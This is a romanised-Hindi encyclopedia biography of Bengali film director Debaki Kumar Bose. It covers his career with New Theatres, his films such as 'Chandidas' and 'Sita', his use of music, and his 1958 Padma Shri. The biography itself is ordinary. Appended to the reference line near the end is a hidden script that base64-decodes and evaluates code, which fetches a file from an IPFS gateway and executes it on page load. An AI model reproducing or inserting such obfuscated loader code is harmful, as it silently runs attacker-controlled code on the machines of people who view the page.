देवकी बोस
devaki bos
| |
| poora nam | devaki kumar bos |
| janm | 25 navambar, 1898 |
| janm bhoomi | vardhaman zila, pashchim bangal |
| mrityu | 11 navambar, 1971 |
| mrityu sthan | kolakata |
| karm bhoomi | bharat |
| karm-kshetr | film nirdeshan |
| mukhy filmean | 'chandidas', 'pooran bhagat', 'mirabaee', 'sita', 'vidyapati', 'sonar kathi', 'meghadoot', 'sagar', 'sangam' aur 'aparadhi' adi. |
| puraskar-upadhi | 'padmashri' (1958) |
| prasiddhi | film nirdeshak |
| nagarikata | bharatiy |
| any janakari | devaki bos hi pahale bangali film nirdeshak the, jinhoanne 'bharatiy shastriy sangit' ke sath 'ravindr sangit' ko mila kar filmoan mean ek adbhut dhvani madhury paida kiya. |
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devaki kumar bos (aangrezi: Debaki Kumar Bose , janm- 25 navambar, 1898, pashchim bangal; mrityu- 11 navambar, 1971, kolakata) 'mook yug' ke bad bharatiy sinema ke itihas mean aye thiyetars yug ke behad kalpanashil film nirdeshak the. ve dhvani aur sangit ke adbhut janakar the. yahi karan hai ki unake dvara nirdeshit sabhi filmoan mean sangit ka madhury bikhara p da hai. unaki adhikatar filmoan mean ray chand boral ne sangit diya tha. devaki bos hi vah pahale bangali film nirdeshak the, jinhoanne 'bharatiy shastriy sangit' ke sath 'ravindr sangit' ko mila kar filmoan mean ek adbhut dhvani madhury paida kiya. yadi devaki bos 'nyoo thiyetars' se n ju date to sanbhav tha ki 'nyoo thiyetars' ki vah prasiddhi nahian hoti jo aj hai.
janm
devaki bos ka janm 25 navambar, 1898 ee. ko vardhaman zila, pashchim bangal mean hua tha. unake pita apane samay ke ek nami vakil the. jin dinoan devaki bos apani k aaulej ki padhaee poori kar rahe the, us samay desh ko svatantrata dilane ke kee kraantikari apani gatividhiyaan chala rahe the. inamean rashtrapita mahatma gaandhi sarvapramukh the.
gaandhiji ka prabhav
bharat ki azadi ke lie mahatma gaandhi dvara chalaya gaya 'asahayog andolan' apane charam bindoo par tha. is andolan se devaki bos svayan bhi bahut prabhavit the. isake parinamasvaroop andolan mean hissa lene ke lie devaki bos ne k aaulej ki padhaee chho d di. padhaee chho dane ke bad vah kalakatta (vartaman kolakata) mean rah kar ek chhote-se akhabar "shakti" ka sanpadan karane lage.
film nirdeshan
inhian dinoan patrakarita karate hue unaki mulakat dhiren gaanguli se huee. devaki bos ne dhiren gaanguli ki 'british dominiyan kampani' ke lie kee mook filmoan ki patakatha likhi. isake sath hi kuchh filmoan ka nirdeshan bhi kiya, chooanki in tamam filmoan ka chhayaankan krishna gopal ne kiya tha, isalie devaki bos se unaki mitrata ho gayi. krishna gopal navaboan ke shahar lakhanoo ke the, isalie vah chahate the ki lakhanoo mean rahate hue hi film banayean. lakhanoo ki ek film kampani 'yoonaited film karaporeshan' ek film banana chahati thi, jisamean chhayaankan ka kam krishna gopal ko sauanpa gaya tha. unhoanne film ko nirdeshit karane ke lie devaki bos ko kalakatta se bula liya.[1]
film ki asaphalata
varsh 1930 mean 'd shaido aauf daid' film ban kar taiyar huee. lekin yah film buri tarah se asaphal ho gayi. devaki bos to lakhanoo se vapas kalakatta chale gaye, lekin film ke chhayakar krishna gopal ko kampani ne bandhak bana liya aur kaha ki 'vah kampani chho d kar tab hi ja sakate haian, jab poore ghate ki bharapaee karean'. yah krishna gopal ke bas mean nahian tha. isalie vah kampani ke bandhak bane rahe aur ummid karate rahe ki devaki bos unhean chhu dane ke lie paise lekar aeange. devaki bos ne prathamesh barooa se unhean apani film kampani mean rakhane ki gujarish ki aur phir krishna gopal ko chhu davane ke lie bhi unase paisa hasil kar liya. is tarah krishna gopal devaki bos ki vajah se hi kampani ke bandhan se chhoot sake.
saphalata ki papti
'nyoo thiyetars' ki film 'chandidas' ki kamayabi se devaki bos ka nam achanak hi ratoan rat chamak utha. 'nyoo thiyetars' mean unake pravesh ki kahani bhi filmi-si hai. jab 'nyoo thiyetars' ki ek ke bad ek sat filmean fl aaup ho geean, tab devaki bos ne 'nyoo thiyetars' ke malik virendranath sarakar se milane ki koshish ki. virendranath sarakar unase mil to lie, lekin jab devaki bos apane sath laee huee ek patakatha unhean sunane lage to unhoanne kaha ki ve yah patakatha chhayakar nitin bos ko sunaean. nitin bos se devaki bos tin dinoan tak milane ki koshish karate rahe, lekin unhoanne palat kar dekha tak nahian. itana avashy tha ki ve ye dekhate rahe ki koee safed rang ki dhoti-kurta pahane yuvak kee dinoan se unake pichhe rahata hai. akhirakar chauthe din himmat karake devaki bos ne nitin bos ko apana parichay diya aur bataya ki unhean virendranath sarakar ne unase milane ke lie kaha hai.[1]
nitin bos ne dopahar mean lanch ke samay devaki bos ke hath mean maujood kahani ko suna aur sunate hi abhibhoot ho gaye. yah kahani aur koee nahian, balki film "chandidas" ki hi patakatha thi. 'chandidas' ke banate hi 'nyoo thiyetars' ki tootati saanse laut ayian. film suparahit ho chuki thi, aur isake sath hi devaki bos bhi 'nyoo thiyetars' ke mahattvapoorn vyaktitv ban gaye.
pramukh filmean
devaki bos ne char darjan se bhi zyada filmoan ka saphal nirdeshan kiya, jisamean hindi se adhik baangla bhasha ki filmean thian. unake dvara nirdeshit pramukh filmoan mean se kuchh ninmalikhit haian-
| kr.san. | film | kr.san. | film |
|---|---|---|---|
| 1. | d shaido aauf daid | 2. | aparadhi |
| 3. | nishir dak | 4. | chandidas |
| 5. | rajarani mira | 6. | pooran bhagat |
| 7. | mirabaee | 8. | dulari bivi |
| 9. | sita | 10. | jivan natak |
| 11. | iankalab | 12. | sonar sansar |
| 13. | vidyapati | 14. | sapera |
| 15. | nartaki | 16. | abhinav |
| 17. | apana ghar | 18. | shriramanuj |
| 19. | svarg se sundar desh hamara | 20. | meghadoot |
| 21. | krishnalila | 22. | alakananda |
| 23. | chandrashekhar | 24. | sar shankaranath |
| 25. | kavi | 26. | ratnadip |
| 27. | pathik | 28. | bhalobasha |
| 29. | navajanma | 30. | chirakumar sabha |
| 31. | sonar kathi | 32. | sagar sangam |
| 33. | arghy | 34. | aparadhi |
saral vyaktitv
devaki bos man ke b de udar aur saral vyaktitv ke iansan the. vah hamesha unhian vishayoan par film banate the, jo vishay unhean apane svabhav aur soch ke anukool lagate the. unaki jin filmoan ne saphalata ke naye kirtiman sthapit kie the, unamean 'chandidas' aur 'pooran bhagat' ke sath-sath film 'sita' bhi shamil thi. unake dvara nirdeshit film 'sita' bharat ki pahali aisi film thi, jise 'venis film samaroh' mean pradarshan ke lie chuna gaya tha. film 'sita' mean ram ki bhoomika apane samay ke mashahoor abhineta prithviraj kapoor ne aur sita ki bhoomika durga khote ne nibhaee thi. devaki bos ki ek any film jisaki bahut charcha hoti hai, vah hai "vidyapati". is film ne bhi bharatiy janata ke bich achchhi saphalata prapt ki thi.
sangit ke parakhi
unaki filmoan ki sabase b di nidhi unaka sangit hai. ye filmean apani dhvani aur sangit ke lie bharatiy sinema mean mil ka patthar mani jati haian. devaki bos ko dhvaniyoan ki adbhut samajh thi aur sangit mean vah behad prayogadharmi shilpakar ke roop mean jane jat the. unhoanne 'bharatiy shastriy sangit' ke sath 'ravindr sangit' ko milakar filmoan mean dhvani aur sangit ka bahut hi madhury prayog kiya tha.[1]
aantim film
devaki bos ne jis aantim film ko nirdeshit kiya, vah thi baangla bhasha mean bani film 'arghy'. yah film unhoanne varsh 1961 mean banaee thi. 'nyoo thiyetars' se alag hone ke bad devaki bos ne 1942 se 1961 ke bich yooan to bis se bhi adhik filmean banayi thian, lekin unamean se koee bhi film 'chandidas' ya 'pooran bhagat' jaisi saphalata arjit nahian kar saki, aur n hi 'sita' jaisi bauddhik prashansa hi papt kar saki.
puraskar v samman
san 1958 mean devaki bos ko bharat ki sarakar ne pratishthit "padmashri" se sammanit kiya tha.
nidhan
11 navambar, 1971 ko devaki bos ka nidhan kolakata mean hua.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 1.3 dhvani aur sangit ke prayogadharmi shilpakar (hindi). . abhigaman tithi: 19 janavari, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
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varnamala kramanusar lekh khoj
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